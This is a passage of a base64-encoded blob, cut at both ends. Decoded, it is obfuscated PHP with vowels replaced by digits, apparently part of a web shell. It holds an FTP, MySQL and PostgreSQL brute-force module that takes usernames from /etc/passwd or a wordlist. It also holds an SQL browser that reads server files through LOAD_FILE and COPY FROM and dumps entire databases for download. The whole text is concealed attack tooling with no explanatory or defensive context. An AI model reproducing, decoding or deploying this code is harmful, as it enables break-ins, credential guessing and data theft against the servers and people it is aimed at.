JuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgeyANCiAgICAgICAgICAgICAgICAkcjVzID0gQG15c3FsX2Mybm41Y3QoJDRwLic6Jy4kcDJydD8kcDJydDpvbzBlLCAkbDJnNG4sICRwMXNzKTsgDQogICAgICAgICAgICAgICAgQG15c3FsX2NsMnM1KCRyNXMpOyANCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdwZ3NxbCcgKSB7IA0KICAgICAgICAgICAgZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7IA0KICAgICAgICAgICAgICAgICRzdHIgPSAiaDJzdD0nIi4kNHAuIicgcDJydD0nIi4kcDJydC4iJyAzczVyPSciLiRsMmc0bi4iJyBwMXNzdzJyZD0nIi4kcDFzcy4iJyBkYm4xbTU9cDJzdGdyNXMiOyANCiAgICAgICAgICAgICAgICAkcjVzID0gQHBnX2Mybm41Y3QoJHN0cik7IA0KICAgICAgICAgICAgICAgIEBwZ19jbDJzNSgkcjVzKTsgDQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgJHMzY2M1c3MgPSAwOyANCiAgICAgICAgJDF0dDVtcHRzID0gMDsgDQogICAgICAgICRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7IA0KICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXSA9PSA2KSB7IA0KICAgICAgICAgICAgJHQ1bXAgPSBAZjRsNSgnLzV0Yy9wMXNzd2QnKTsgDQogICAgICAgICAgICA0ZiggNHNfMXJyMXkoJHQ1bXApICkgDQogICAgICAgICAgICAgICAgZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgeyANCiAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSA1eHBsMmQ1KCI6IiwgJGw0bjUpOyANCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICRsNG41WzBdKSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICA0ZihAJF9QT1NUWydyNXY1cnM1J10pIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyKCQ0PXN0cmw1bigkbDRuNVswXSktNjsgJDQ+PTA7IC0tJDQpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgLj0gJGw0bjVbMF1bJDRdOyANCiAgICAgICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJHRtcCkgKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzM2NjNXNzKys7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgfSA1bHM1NGYoJF9QT1NUWyd0eXA1J10gPT0gYSkgeyANCiAgICAgICAgICAgICR0NW1wID0gQGY0bDUoJF9QT1NUWydkNGN0J10pOyANCiAgICAgICAgICAgIDRmKCA0c18xcnIxeSgkdDVtcCkgKSANCiAgICAgICAgICAgICAgICBmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7IA0KICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IHRyNG0oJGw0bjUpOyANCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNSgkczVydjVyWzBdLEAkczVydjVyWzZdLCAkX1BPU1RbJ2wyZzRuJ10sICRsNG41KSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICA1Y2gyICI8c3Axbj5BdHQ1bXB0czo8L3NwMW4+ICQxdHQ1bXB0cyA8c3Axbj5TM2NjNXNzOjwvc3Axbj4gJHMzY2M1c3M8L2Q0dj48YnI+IjsgDQogICAgfSANCiAgICA1Y2gyICc8aDY+RlRQIGJyM3Q1ZjJyYzU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48dDFibDU+PGYycm0gbTV0aDJkPXAyc3Q+PHRyPjx0ZD48c3Axbj5UeXA1PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48czVsNWN0IG4xbTU9cHIydDI+PDJwdDQybiB2MWwzNT1mdHA+RlRQPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1teXNxbD5NeVNxbDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9cGdzcWw+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+PC90cj48dHI+PHRkPicNCiAgICAgICAgLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnMSddKS4nIj4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnY2gxcnM1dCddKS4nIj4nDQogICAgICAgIC4nPHNwMW4+UzVydjVyOnAycnQ8L3NwMW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zNXJ2NXIgdjFsMzU9IjZhNy4wLjAuNiI+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjxzcDFuPkJyM3Q1IHR5cDU8L3NwMW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9IjYiIGNoNWNrNWQ+IC81dGMvcDFzc3dkPC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsIHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1yNXY1cnM1IHYxbDM1PTYgY2g1Y2s1ZD4gcjV2NXJzNSAobDJnNG4gLT4gbjRnMmwpPC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsPjw0bnAzdCB0eXA1PXIxZDQyIG4xbTU9dHlwNSB2MWwzNT0iYSI+IEQ0Y3Q0Mm4xcnk8L2wxYjVsPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48dDFibDUgc3R5bDU9InAxZGQ0bmctbDVmdDo2aXB4Ij48dHI+PHRkPjxzcDFuPkwyZzRuPC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9bDJnNG4gdjFsMzU9InIyMnQiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Axbj5ENGN0NDJuMXJ5PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZDRjdCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Axc3N3ZC5kNGMiPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+JzsgDQogICAgNWNoMiAnPC9kNHY+PGJyPic7IA0KICAgIHdzMkYyMnQ1cigpOyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuU3FsKCkgeyANCiAgICBjbDFzcyBEYkNsMXNzIHsgDQogICAgICAgIHYxciAkdHlwNTsgDQogICAgICAgIHYxciAkbDRuazsgDQogICAgICAgIHYxciAkcjVzOyANCiAgICAgICAgZjNuY3Q0Mm4gRGJDbDFzcygkdHlwNSkgeyANCiAgICAgICAgICAgICR0aDRzLT50eXA1ID0gJHR5cDU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBjMm5uNWN0KCRoMnN0LCAkM3M1ciwgJHAxc3MsICRkYm4xbTUpeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7IA0KICAgICAgICAgICAgICAgICAgICA0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggJHRoNHMtPmw0bmsgPSBAcGdfYzJubjVjdCgiaDJzdD17JGgyc3RbMF19IHAycnQ9eyRoMnN0WzZdfSAzczVyPSQzczVyIHAxc3N3MnJkPSRwMXNzIGRibjFtNT0kZGJuMW01IikgKSByNXQzcm4gdHIzNTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIDRmIChAbXlzcWxfczVsNWN0X2RiKCRkYikpcjV0M3JuIHRyMzU7IA0KICAgICAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1OyANCiAgICAgICAgfSANCiAgICAgICAgZjNuY3Q0Mm4gcTM1cnkoJHN0cikgeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgeyANCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBmNXRjaCgpIHsgDQogICAgICAgICAgICAkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF9mNXRjaF8xc3MyYygkcjVzKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX2Y1dGNoXzFzczJjKCRyNXMpOyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIGw0c3REYnMoKSB7IA0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgeyANCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5xMzVyeSgiU0hPVyBkMXQxYjFzNXMiKTsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgZDF0bjFtNSBGUk9NIHBnX2QxdDFiMXM1IFdIRVJFIGQxdDRzdDVtcGwxdDUhPSd0JyIpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1OyANCiAgICAgICAgfSANCiAgICAgICAgZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIFRBQkxFUycpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoInM1bDVjdCB0MWJsNV9uMW01IGZyMm0gNG5mMnJtMXQ0Mm5fc2NoNW0xLnQxYmw1cyB3aDVyNSB0MWJsNV9zY2g1bTEgIT0gJzRuZjJybTF0NDJuX3NjaDVtMScgQU5EIHQxYmw1X3NjaDVtMSAhPSAncGdfYzF0MWwyZyciKTsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIDVycjJyKCkgeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF81cnIycigpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBwZ19sMXN0XzVycjJyKCk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfczV0X2NoMXJzNXQnKSkgDQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsgDQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIGwyMWRGNGw1KCRzdHIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7IA0KICAgICAgICAgICAgICAgICAgICAkcj0xcnIxeSgpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHJbXSA9ICQ0WydmNGw1J107IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ2RyMnAgdDFibDUgd3MyYScpOyANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBkM21wKCR0MWJsNSwgJGZwID0gZjFsczUpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgICRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOyANCiAgICAgICAgICAgICAgICAgICAgJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOyANCiAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICRjcjUxdDVbNl0uIjtcbiI7IA0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7IA0KICAgICAgICAgICAgICAgICAgICAkaDUxZCA9IHRyMzU7IA0KICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiTlVMTCI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0Zig0c19uM201cjRjKCR2KSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2OyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zW10gPSAiYCIuJGsuImAiOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0MWJsNS4nYCAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4iKSBWQUxVRVMgXG5cdCgiLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpJzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICI7XG5cbiIpOyA1bHM1IDVjaDIoIjtcblxuIik7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gJy4kdDFibDUpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zID0gMXJyMXkoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYzJsM21uc1tdID0gJGs7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgfTsgDQogICAgJGRiID0gbjV3IERiQ2wxc3MoJF9QT1NUWyd0eXA1J10pOyANCiAgICA0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7IA0KICAgICAgICAkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSk7IA0KICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7IA0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsgDQogICAgICAgICAgICBjMXM1ICJXNG5kMndzLTZhaTYiOiAkZGItPnM1dENoMXJzNXQoJ2NwNmFpNicpOyBicjUxazsgDQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsgDQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOyANCiAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7IA0KICAgICAgICAgICAgYzFzNSAiY3A4ZWUiOiAkZGItPnM1dENoMXJzNXQoJ2NwOGVlJyk7IGJyNTFrOyANCiAgICAgICAgfSANCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7IA0KICAgICAgICAgICAgMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOyANCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsgDQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOyANCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikgDQogICAgICAgICAgICAgICAgJGRiLT5kM21wKCR2KTsgDQogICAgICAgICAgICA1eDR0OyANCiAgICAgICAgfSA1bHM1NGYoJGZwID0gQGYycDVuKCRfUE9TVFsnZjRsNSddLCAndycpKSB7IA0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KSANCiAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYsICRmcCk7IA0KICAgICAgICAgICAgZmNsMnM1KCRmcCk7IA0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsgDQogICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PjFsNXJ0KCJFcnIyciEgQzFuXCd0IDJwNW4gZjRsNSIpO3c0bmQydy5oNHN0MnJ5LmIxY2soLTYpPC9zY3I0cHQ+Jyk7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgIiANCiAgDQo8aDY+U3FsIGJyMndzNXI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4gDQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+IA0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4gDQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PVNxbD48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0ncTM1cnknPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBhIHYxbDM1PScnPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiInPiANCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOyANCiAgICA0ZihAJF9QT1NUWyd0eXA1J109PSdteXNxbCcpNWNoMiAnczVsNWN0NWQnOyANCjVjaDIgIj5NeVNxbDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J3Bnc3FsJyAiOyANCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7IA0KNWNoMiAiPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPiA